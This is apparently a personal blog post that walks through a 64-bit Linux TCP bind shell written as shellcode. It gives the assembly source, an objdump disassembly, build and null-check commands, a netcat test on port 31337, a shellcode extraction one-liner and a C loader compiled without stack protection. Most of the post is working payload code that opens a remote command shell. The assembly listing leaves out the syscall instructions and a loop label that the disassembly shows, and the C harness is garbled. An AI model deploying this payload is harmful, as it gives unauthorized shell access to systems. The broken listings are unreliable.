TCP Bind Shell 64bit


In learning 64 bit assembly language under Linux, I thought I would convert some of the 32 bit code I have already in my repo. Therefore there won’t be a full explanation, just the basics.

The assembly language code.

global _start
section .text
    xor    rax,rax
    xor    rdi,rdi
    xor    rsi,rsi
    xor    rdx,rdx
    xor    r8,r8
    ; Socket
    ; Function prototype:
    ;       int socket(int domain, int type, int protocol)
    ; Purpose:
    ;       creates an endpoint for communications, returns a
    ;       descriptor that will be used thoughout the code to
    ;       bind/listen/accept communications
    push   0x2   
    pop    rdi
    push   0x1
    pop    rsi
    push   0x6
    pop    rdx
    push   0x29
    pop    rax
    mov    r8,rax
    ; Bind
    ; Function prototype:
    ;      int bind(int sockfd, const struct sockaddr *addr,      
    ;               socklen_t addrlen)                            
    ; Purpose:
    ;       assigns the addess in addr to the socket descriptor,
    ;       basically "giving a name to a socket"
    xor    r10,r10
    push   r10
    push   r10
    mov    byte [rsp],0x2
    mov    word [rsp+0x2],0x697a
    mov    rsi,rsp
    push   r8
    pop    rdi
    push   0x10
    pop    rdx
    push   0x31
    pop    rax
    ; Listen
    ; Function prototype:
    ;       int listen(int sockfd, int backlog)
    ; Purpose:
    ;       sets the socket in the descriptor in preparation to
    ;       accepting incoming communications
    push   r8
    pop    rdi
    push   0x1
    pop    rsi
    push   0x32
    pop    rax
    ; Accept
    ; Function prototype:
    ;       int accept(int sockfd, struct sockaddr *addr,
    ;               socklen_t *addrlen)
    ; Purpose:
    ;       accepts a connection on a socket and returns a new
    ;       file descriptor referring to the socket which is used
    ;       to bind stdin, stdout and stderr to the local terminal
    mov    rsi,rsp
    xor    rcx,rcx
    mov    cl,0x10
    push   rcx
    mov    rdx,rsp
    push   r8
    pop    rdi
    push   0x2b
    pop    rax
    ; Dup2
    ; Function prototype:
    ;       int dup2(int oldfd, int newfd)
    ; Purpose:
    ;       duplicate a file descriptor, copies the old file
    ;       descriptor to a new one allowing them to be used
    ;       interchangably, this allows all shell ops to/from the
    ;       compomised system.
    pop    rcx
    xor    r9,r9
    mov    r9,rax
    mov    rdi,r9
    xor    rsi,rsi
    push   0x3
    pop    rsi
    dec    rsi
    push   0x21
    pop    rax
    jne    doop
    ; Execve
    ; Function prototype:
    ;       int execve(const char *filename, char *const argv[],
    ;               char *const envp[]);
    ; Purpose:
    ;       execve() executes the program pointed to by filename.  
    ;       filename must be either a binary executable, or a script.   
    xor    rdi,rdi
    push   rdi
    push   rdi
    pop    rsi
    pop    rdx
    mov rdi,0x68732f6e69622f2f
    shr    rdi,0x8
    push   rdi
    push   rsp
    pop    rdi
    push   0x3b
    pop    rax

To build the code:

$ nasm -felf64 -o tcpbindshell.o tcpbinshell.asm
$ ld -o tcpbindshell tcpbindshell.o

Check for nulls:

$ objdump -D tcpbindshell -M intel
tcpbindshell:     file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
  400080:   48 31 c0                xor    rax,rax
  400083:   48 31 ff                xor    rdi,rdi
  400086:   48 31 f6                xor    rsi,rsi
  400089:   48 31 d2                xor    rdx,rdx
  40008c:   4d 31 c0                xor    r8,r8
  40008f:   6a 02                   push   0x2
  400091:   5f                      pop    rdi
  400092:   6a 01                   push   0x1
  400094:   5e                      pop    rsi
  400095:   6a 06                   push   0x6
  400097:   5a                      pop    rdx
  400098:   6a 29                   push   0x29
  40009a:   58                      pop    rax
  40009b:   0f 05                   syscall 
  40009d:   49 89 c0                mov    r8,rax
  4000a0:   4d 31 d2                xor    r10,r10
  4000a3:   41 52                   push   r10
  4000a5:   41 52                   push   r10
  4000a7:   c6 04 24 02             mov    BYTE PTR [rsp],0x2
  4000ab:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a
  4000b2:   48 89 e6                mov    rsi,rsp
  4000b5:   41 50                   push   r8
  4000b7:   5f                      pop    rdi
  4000b8:   6a 10                   push   0x10
  4000ba:   5a                      pop    rdx
  4000bb:   6a 31                   push   0x31
  4000bd:   58                      pop    rax
  4000be:   0f 05                   syscall 
  4000c0:   41 50                   push   r8
  4000c2:   5f                      pop    rdi
  4000c3:   6a 01                   push   0x1
  4000c5:   5e                      pop    rsi
  4000c6:   6a 32                   push   0x32
  4000c8:   58                      pop    rax
  4000c9:   0f 05                   syscall 
  4000cb:   48 89 e6                mov    rsi,rsp
  4000ce:   48 31 c9                xor    rcx,rcx
  4000d1:   b1 10                   mov    cl,0x10
  4000d3:   51                      push   rcx
  4000d4:   48 89 e2                mov    rdx,rsp
  4000d7:   41 50                   push   r8
  4000d9:   5f                      pop    rdi
  4000da:   6a 2b                   push   0x2b
  4000dc:   58                      pop    rax
  4000dd:   0f 05                   syscall 
  4000df:   59                      pop    rcx
  4000e0:   4d 31 c9                xor    r9,r9
  4000e3:   49 89 c1                mov    r9,rax
  4000e6:   4c 89 cf                mov    rdi,r9
  4000e9:   48 31 f6                xor    rsi,rsi
  4000ec:   6a 03                   push   0x3
  4000ee:   5e                      pop    rsi
00000000004000ef <doop>:
  4000ef:   48 ff ce                dec    rsi
  4000f2:   6a 21                   push   0x21
  4000f4:   58                      pop    rax
  4000f5:   0f 05                   syscall 
  4000f7:   75 f6                   jne    4000ef <doop>
  4000f9:   48 31 ff                xor    rdi,rdi
  4000fc:   57                      push   rdi
  4000fd:   57                      push   rdi
  4000fe:   5e                      pop    rsi
  4000ff:   5a                      pop    rdx
  400100:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  400107:   2f 73 68 
  40010a:   48 c1 ef 08             shr    rdi,0x8
  40010e:   57                      push   rdi
  40010f:   54                      push   rsp
  400110:   5f                      pop    rdi
  400111:   6a 3b                   push   0x3b
  400113:   58                      pop    rax
  400114:   0f 05                   syscall 

Test above executable on localhost using netcat under X: Open a terminal under working directory,

$ ./tcpbindshell

Open another terminal,

$ nc localhost 31337

commands can now be executed in this terminal e.g. try typing ls to see contents of tcpbindshell directory.

Get shellcode from executable: Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so

$ objdump -d ./tcpbindshell | grep ‘[0-9a-f]:’ | grep -v ‘file’ | cut -f2 -d: | cut -f1-7 -d’ ‘ | tr -s ‘ ‘ | tr ‘t’ ‘ ‘ | sed ‘s/ $//g’ | sed ‘s/ /x/g’ | paste -d ” -s | sed ‘s/^/”/’ | sed ‘s/$/”/g’


The shellcode can be copied and pasted into a test program, similar to the one below. The #define PORT is to allow for an easily configurable port.

#include <stdio.h>
 port 31337 (7a69)
#define PORT "\x7a\x69"
unsigned char code[] = 
    printf("Shellcode Length: %dn", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    return 0;

Build the code:

$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test above executable on localhost using netcat under X: Open a terminal under working directory,

$ ./shellcode

Open another terminal,

$ nc localhost 31337

commands can now be executed in this terminal e.g. try typing ls to see contents of shellcode directory.

This shellcode runs to 150 bytes in length, no doubt whatsoever it could be shortened, that was not my goal, but I’m sure I will revisit this code again to update it when I learn something more.

Shell-storm database entry —

Leave a Reply

Your email address will not be published. Required fields are marked *